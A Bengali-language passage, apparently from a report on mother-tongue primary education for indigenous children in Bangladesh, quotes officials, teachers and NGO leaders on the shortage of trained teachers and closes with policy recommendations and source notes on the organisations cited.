নৃভাষাবৈজ্ঞানিক সমীক্ষা’৷ পরিচালনাকারী এই ভাষাবিজ্ঞানী মনে করেন, “মাতৃভাষার চর্চা নিজেদেরকেই ধরে রাখতে হবে, সবকিছু রাষ্ট্র করে দিতে পারবেনা। ক্ষুদ্র নৃগোষ্ঠীদের নিজস্ব ভাষায় পাঠ্যবই থাকলে কোনো না কোনো ভাবে নিজের মাতৃভাষা আয়ত্তে আনার একটা সুযোগ পাবে। কিন্তু যে ভাষাগুলো বিলুপ্তির পথে, সেগুলো তো এখনো পাঠ্যবইয়ের সুযোগ পাচ্ছেনা।” পার্বত্য চট্টগ্রাম বিষয়ক মন্ত্রী বীর বাহাদুর বলেছেন, “পর্যায়ক্রমে সব ভাষায়ই পাঠ্যবই হবে। আমাদের যে পাঁচটি ভাষায় পাঠ্যবই দেওয়া হলে, সেগুলো চালাতে গিয়েই হিমশিম অবস্থা। শিক্ষক নেই। আমি নিজে বলতে পারি, কিন্তু লিখতে পারিনা। বাংলা বা ইংরেজি শিখেই বড়ো হয়েছি। তাই শিক্ষক তৈরি করতেই সময় লাগছে। সরকার বই ছাপিয়েছে, শিক্ষকদেরও কাজ করতে হবে। একটু সময় লাগবে। তবে প্রতিবন্ধকতাগুলো কাটিয়ে উঠতে পারলে অন্যান্য ভাষায়ও পাঠ্যবই করা হবে।”

৩৯ বছর ধরে শিক্ষকতা পেশায় থাকা মংথ মারমা বলেন, “ক্ষুদ্র নৃ-গোষ্ঠীর বয়স্কদের ৩০ শতাংশেরই নিজস্ব ভাষার অক্ষরজ্ঞান নেই। এসব পরিবার থেকে আসা শিশুদের বর্ণপরিচয় নিতেই প্রতিবন্ধকতায় পড়তে হচ্ছে। এক্ষেত্রে তাদের আমরা প্রতিটি বিষয়ে নিয়মিত পড়াতে পারছিনা, যেহেতু অক্ষরজ্ঞান নেই। তাদের প্রতিনিয়ত বাংলাই পড়াতে হচ্ছে। অক্ষরজ্ঞানের সুযোগ পেলেই তাদের উন্নয়ন হবে।” সংশ্লিষ্ট এলাকার জনপ্রতিনিধিরা বলছেন যে, অনেক প্রতিবন্ধকতা থাকলেও সরকার কাজ চালিয়ে যাচ্ছে। পার্বত্য চট্টগ্রাম বিষয়ক সংসদীয় কমিটির সদস্য ও খাগড়াছড়ির সাংসদ কুজেন্দ্র লাল ত্রিপুরা অন্যান্য ক্ষুদ্র নৃ-গোষ্ঠীর ভাষায়ও পাঠ্যবই প্রণয়নে বেশ আশাবাদী। তিনি বলেন, “আমি ত্রিপুরা, কিন্তু নিজেই ভাষাটা পারিনা, এমন একটা অবস্থা হয়ে গেছে। আমরা বাংলায় যেমন কথা বলছি, কিন্তু নিজের ভাষায় কথা বলাটা কঠিন হয়ে যাচ্ছে। আমরা অন্যান্য ভাষাগুলোতেও পাঠ্যবই করার চেষ্টা চালিয়ে যাচ্ছি।” মানুষের জন্য ফাউন্ডেশনের5 নির্বাহী পরিচালক শাহীন আনাম বলেন, “যে ভাষার যে শিক্ষক, পড়ানোর জন্য তাকেই দরকার। তাদের প্রশিক্ষিতও হতে হবে। প্রশিক্ষণ যদি হয় এবং সেটি যদি পিটিআই-র মাধ্যমে করানো হয়, তাহলে এই মাতৃভাষায় শিক্ষা কার্যক্রম আলোর মুখ দেখবে। এখন ক্লাস থ্রি পর্যন্ত মাতৃভাষায় পড়ানো হয়। আমরা মনে করি, এই ব্যবস্থা যেন অন্তত ক্লাস ফাইফ পর্যন্ত করা হয়। ক্লাস থ্রি পর্যন্ত একটি শিশু যদি মাতৃভাষায় পড়ে বাংলা মিডিয়ামের বইয়ে চলে যায়, তাহলে তো সে মাতৃভাষা ভুলে যাবে। জিনিসটা যদি অন্তত প্রাথমিকে পুরোটা পড়ানো হয়, তাহলে তারা আর ভুলবে না।” তবে সেই উদ্যোগ সরকারকেই নিতে হবে। 

ক্ষুদ্র-নৃগোষ্ঠীদের সংগঠন পামডো6-এর প্রধান নির্বাহী কর্মকর্তা হৈমন্তী সরকার দেবি বলেন, আমাদের ভাষার বই সরকার দিলেও তা পাঠদানের জন্য কোনো শিক্ষক দেয়নি। আমরা চাই আমাদের ভাষা টিকিয়ে রাখার ব্যবস্থা করা হোক। আন্তর্জাতিক মাতৃভাষা দিবসের চেতনাই হলো কোনো জনগোষ্ঠীর ভাষা হারিয়ে যেতে দেওয়া যাবেনা। ভাষা আন্দোলনের চেতনা তখনই সার্থক হবে, যখন প্রতিটি জনগোষ্ঠী তার নিজের মায়ের ভাষায় কথা বলতে পারবে, মাতৃভাষায় শিক্ষালাভ করতে পারবে, শিল্প-সাহিত্য সৃষ্টি করতে পারবে। গবেষক অংসুই মারমা বলেন, “মাতৃভাষায় পাঠ্যপুস্তক প্রবর্তনের খবরে খুব খুশি হয়েছিলাম। এটি সরকারের ভালো উদ্যোগ। কিন্তু শিক্ষার্থীদের তাদের মাতৃভাষায় বই পড়তে উৎসাহী করে তুলতে হবে। এর জন্য প্রশিক্ষিত শিক্ষক প্রয়োজন।” খাগড়াছড়ির রঞ্জনমনিপাড়া সরকারি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক ধনা চন্দ্র সেন বলেন, “মাতৃভাষার বই ছয় বছর ধরে আমাদের স্কুলে আসছে। সাধ্যমতো পড়ানোর চেষ্টাও করা হচ্ছে। কিন্তু প্রশিক্ষিত শিক্ষক না থাকায় এসব বই কার্যকরভাবে পড়ানো সম্ভব হচ্ছেনা।”

সুপারিশমালা

২০১৩ সালে আদিবাসী শিক্ষক-শিক্ষার্থীর ডাটাবেজ তৈরির পরামর্শ দেওয়া হলেও তা শুরু হয়নি। ডেটাবেজ ছাড়া কাজ আগানো কঠিন হবে। প্রাথমিক ও গণশিক্ষা মন্ত্রণালয়ে এ সংক্রান্ত কর্মকর্তা নিয়োগ করা প্রয়োজন। যারা এটি নিয়ে কাজ করবেন। সেই উইং বা শাখা না হলে এই কাজটা করা কঠিন হয়ে যাবে। যে বইগুলো ইতিমধ্যে ক্ষুদ্র নৃগোষ্ঠীর নিজস্ব ভাষায় করা হয়েছে সেগুলো কতটা শিক্ষার্থীবন্ধব, শিক্ষক বান্ধব ও কার্যকরি সেই সার্ভে এখনই করা উচিত। মাতৃভাষায় শুধু বই দিলেই হবে না। সঙ্গে প্রশিক্ষণপ্রাপ্ত শিক্ষকও দিতে হবে। কারণ ক্লাসে শিক্ষক যদি শিশুদের মাতৃভাষায় ঠিকভাবে পড়াতেই না পারেন, তবে সব চেষ্টাই বৃথা যাবে। সরকারি পৃষ্ঠপোষকতা থাকলে ক্ষুদ্র নৃগোষ্ঠী শিশুদের মাতৃভাষায় শিক্ষাদানের জন্য শিক্ষক নিয়ে কোনো জটিলতা থাকবেনা। প্রশিক্ষণ দেওয়া হলে শিক্ষক সংক্রান্ত জটিলতা থাকবেনা। কারন সরকারি পৃষ্ঠপোষকতা থাকলে ক্ষুদ্র নৃগোষ্ঠী শিশুদের মাতৃভাষায় শিক্ষাদানের জন্য শিক্ষক নিয়ে জটিলতা থাকবেনা। একটি শিশু স্কুলে গিয়ে অন্য ভাষায় পড়ালেখা করলে সে তার আত্মপরিচয় খুঁজে পায়না। নিজস্ব ভাষায় শিক্ষার ব্যবস্থা না থাকায় বিদ্যালয় থেকে আদিবাসী শিশুদের ঝরে পড়ার হার অনেক বেশি। এসব শিশুদের শিক্ষার জন্য তাদের আগ্রহ ও আস্থার জায়গাটুকু সৃষ্টি করতে হবে। 

সরকারি পর্যায়ে একটি ভাষা কমিশন গঠন করা এবং দীর্ঘ মেয়াদে ভাষাগুলো সংরক্ষনের উদ্যোগ নেওয়া এখন জরুরি। আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউট এই কাজটি করতে পারে। আসলে আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউটকে এখনো আমরা কাজে লাগাতে পারিনি। অধ্যাপক সৌরভ শিকদার আরো বলেন, “শ্রীলংকা, নেপালসহ সব দেশেই ভাষা পরিকল্পনা আছে। বাংলাদেশে ভাষা পরিকল্পনা প্রণয়ন করতে হবে।” রাষ্ট্রীয় উদ্যোগে সর্বস্তরে মাতৃভাষার প্রচলন করতে হবে। জাতীয় শিক্ষানীতির আলোকে কয়েকটি নৃগোষ্ঠীকে মাতৃভাষায় প্রাথমিক শিক্ষা দেওয়া হয়েছে। সবগুলো ভাষায় সে সুযোগ দিতে হবে। এই কাজগুলো করার প্রকৃত প্রতিষ্ঠান হলো আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউট। তাদের এ বিষয়ে সুনির্দিষ্ট পরিকল্পনা থাকা প্রয়োজন। ভাষাবিজ্ঞানী, শিক্ষাবিদ ও সংশ্লিষ্টরা বলছেন, ভাষা বাঁচিয়ে রাখতে নৃগোষ্ঠীর প্রাথমিক শিক্ষা মাতৃভাষায় নিশ্চিত করতে হবে। যাদের লিখিত বর্ণলিপি নেই, সেসব ভাষার লিপি তৈরি করা প্রয়োজন। ভাষাকে সংরক্ষণ করে জাদুঘরে রাখলে হবেনা, সে সব ভাষার ব্যবহার বাড়াতে হবে। 

তথ্যসূত্র

  1.  সৌরভ সিকদার: ঢাকা বিশ্ববিদ্যালয়ে শিক্ষকতা, গবেষণা ও লেখালেখি তার কর্মপরিসর। তিনি তিন দশক ধরে এদেশের আদিবাসীদের ভাষা-সংস্কৃতি-শিক্ষ ও অধিকার নিয়ে কাজ করছেন। তাঁর গবেষণার প্রধান ক্ষেত্রে হচ্ছে ভাষাবিজ্ঞান, বাংলা ভাষা এবং আদিবাসী ভাষা-সংষ্কৃতি। 
  2. এনসিটিবি: জাতীয় শিক্ষাক্রম ও পাঠ্যপুস্তক বোর্ড। প্রাক-প্রাথমিক, প্রাথমিক, মাধ্যমিক ও উচচ মাধ্যমিক স্তরের শিক্ষাক্রম উন্নয়ন ও পরিমার্জনের জন্য শীর্ষ প্রতিষ্ঠান। এটি শিক্ষা মন্ত্রণালয়ের অধীনস্থ সবচেয়ে বড়ো স্ব-শাসিত প্রতিষ্ঠান। 
  3. ECDO is a non-government and not-for-profit voluntary organization working for the development of different indigenous communities in Sylhet Division, the northeastern corner of Bangladesh. to ensure that indigenous people realize the importance of equality and empowerment and to eliminate the discrimination against these communities in society.
  4. জাবারাং কল্যাণ সমিতি: খাগড়াছড়ি পার্বত্য জেলার একটি স্থানীয় উন্নয়ন সংস্থা। দারিদ্রমুক্ত, সুশিক্ষায় শিক্ষিত, সমাজিক সাম্যতা, জীবনের প্রতিটি ক্ষেত্রে ক্ষমতায়িত ও নিরাপদ একটি সমজা বিনির্মাণের লক্ষ্যে ১৯৯৫সালে প্রতিষ্ঠিত হয়। 
  5. Manusher Jonno Foundation (MJF), a non-government and non-profit organisation works with local organisations to improve the well-being of poor and marginalised communities.
  6.  পামডো হলো মুন্ডাদের একটি সংগঠন। এর নির্বাহী প্রধান হৈমন্তী সরকার। ইউরোপিয়ান ইউনিয়নের অর্থায়নে সমাজের পিছিয়ে পড়া মানুষদের সর্বস্তরে এগিয়ে আনার লক্ষে সংগঠনটি কাজ করে।